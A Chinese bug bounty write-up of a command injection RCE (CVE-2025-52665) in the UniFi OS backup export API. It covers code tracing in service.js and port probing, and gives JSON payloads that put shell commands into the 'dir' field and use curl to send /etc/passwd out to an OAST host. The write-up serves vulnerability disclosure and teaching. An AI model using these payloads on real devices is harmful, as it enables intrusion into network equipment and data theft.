【$25,000】CVE-2025-52665 RCE 挖掘
通过对UniFi OS系统的网络侦察和代码分析,发现备份导出功能存在路径注入漏洞。攻击者可通过构造恶意JSON请求,在未验证的`dir`参数中注入任意命令,实现远程代码执行并控制设备。 2025-11-3 07:24:41 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

在对目标环境进行网络侦察时,识别到 192.168.1.1 上的一个活动主机。当通过浏览器访问此 IP 时,可以看到 UniFi OS 登录界面,确认该设备正在运行基于 UniFi 的系统,该系统是一款 UDM(UniFi Dream Machine SE)系列路由器。

图片

为了发现潜在的攻击面,测试人员转向了社区报告中备份操作和 API 行为相关的话题,发现多个论坛帖子提到了与以下端点相关的问题:/api/ucore/backup/export

图片

可以看到许多用户在多个组件(保护、网络、uum 等)中遇到了 500 内部服务器错误、ECONNREFUSED 和备份失败。 这充分表明备份系统是模块化的,通过环回 API 与各种内部服务进行交互,并且/apiucore/backup/export 在这些组件中普遍使用。 如果该端点仅可通过 127.0.0.1 访问,那么它如何被外部访问并利用?

为了理解编排路径,我们拉取了一个UniFi Core版本,解压它,并在service.js内部追踪了"备份/导出"的引用。 两个函数使流程变得明确,第一个,YO,构建了一个指向导出路由的环回URL,并发送了一个包含单个字段dir的JSON body。

var YO = async (e, t) => {let r = `http://127.0.0.1:${e}/api/ucore/backup/export`,      o = await k(r, {  method: "POST",body: JSON.stringify({ dir: t }),headers: { "Content-Type": "application/json" }      });if (!o.ok) thrownewError(`Request to ${r} failed, status: ${o.status}, text: ${await o.text()}`)};

图片

这里(e)是为目标应用程序模块(例如,网络、访问或保护)选择的端口,而(t)是从调用者那里起源的目录路径。 在此边界处没有验证,(dir) 的值被序列化到命中内部导出处理程序的请求中。

zf = async ({ port: e, outputDir: t, name: r }) => {try {let o = await bu(r);              // validate versionif (!o) thrownewError(...);     // halt if invalid  ...  if (...) {// Backup handled by another device via APIlet i = await Te(n.mac).request({ type: "downloadBackup", name: r });let c = Qo.join(t, Ji);await _o.writeFile(c, i.body);await x({ cwd: t, file: c });     // decompress or move archive  } else {await Fe(() => YO(e, t), ...);    // HERE: call the inner YO() function above  }if (await Tu(t))                 // check if backup folder is emptythrownewError(`Backup directory for "${r}" is empty`);await J("chmod", ["-R", "775", t]);    // permission handlinglet s = await AEe(t);             // call `du -s` to get backup sizereturn { success: true, version: o, size: s };} catch (o) {return { success: false, err: _(o) } }}

第二个函数,zf,是高级控制器,它决定是否从另一个控制台获取备份,或者通过调用 YO(port, outputDir)来触发本地导出。 在调用之前,它确保输出目录存在,并使用 chmod 777 设置其权限,然后,在导出返回后,它验证目录不为空,递归地修复权限,并使用 du -s 测量大小。 如果在过程中有任何失败,它将使用目标应用程序名称记录失败,并将错误消息向上传递。实际上,zf 将 outputDir 输入到 YO 中,YO 然后将相同的路径传递给运行在本地的导出端点。

图片

在审查 JS 代码后,测试人员得出结论,代码执行存在可能,编排器接受来自外部请求的 dir 值,将其原封不动地转发到 http://127.0.0.1:<appPort>/api/ucore/backup/export,然后导出处理程序在创建备份工作区(mktemp、chmod、tar)时构建 shell 命令,并插入该值。 由于 dir 没有进行验证或转义,shell 将其内部的元字符视为新命令。

在枚举了 192.168.1.1 上的所有开放 TCP 端口后,测试人员运行了一个简短的循环来探测每个服务对路径/api/ucore/backup/export 的访问。 几个监听器返回了直接的 404,但端口 9780 回复了 405 Method Not Allowed。这个响应只有在路由存在但 HTTP 请求错误时才会发出,这表明处理程序可以从网络上访问,并且如果 POST 请求与协调器的请求匹配,它很可能会接受 POST 请求。 切换到了一个合适的 POST 请求,并设置了 Content-Type: application/json,复制在 service.js 中看到的 JSON 正文。

{"dir":"/tmp/catchify-lab; curl -s --data-binary @/etc/passwd http://test.oastify.com/"}

图片

虽然成功使用分号跳出预期参数,但原始命令行的其余部分在执行curl后仍在解析,导致注入的命令在完成前出现解析或路径错误。 调整PoC,使其既能干净地终止注入的命令,又能通过注释来消除任何尾随的 shell 语法:

{"dir":"/tmp/catchify-; curl -s --data-binary @/etc/passwd http://test.oastify.com/; #"}

图片

尾部空格干净地终止了 curl 注入命令,而井号#注释了原始行的其余部分。 通过调整, Collaborator 成功收到 HTTP POST 请求,从而顺利读取 到/etc/passwd

图片

图片

  • 漏洞报告提交:2025 年 10 月 9 日,18:14 UTC
  • 漏洞分类:2025 年 10 月 9 日,19:40 UTC
  • 漏洞修复,发布UniFi Access 4.0.21
  • 获得奖金,$25,000
  • 漏洞披露

文章来源: https://www.freebuf.com/articles/web/455572.html
如有侵权请联系:admin#unsafe.sh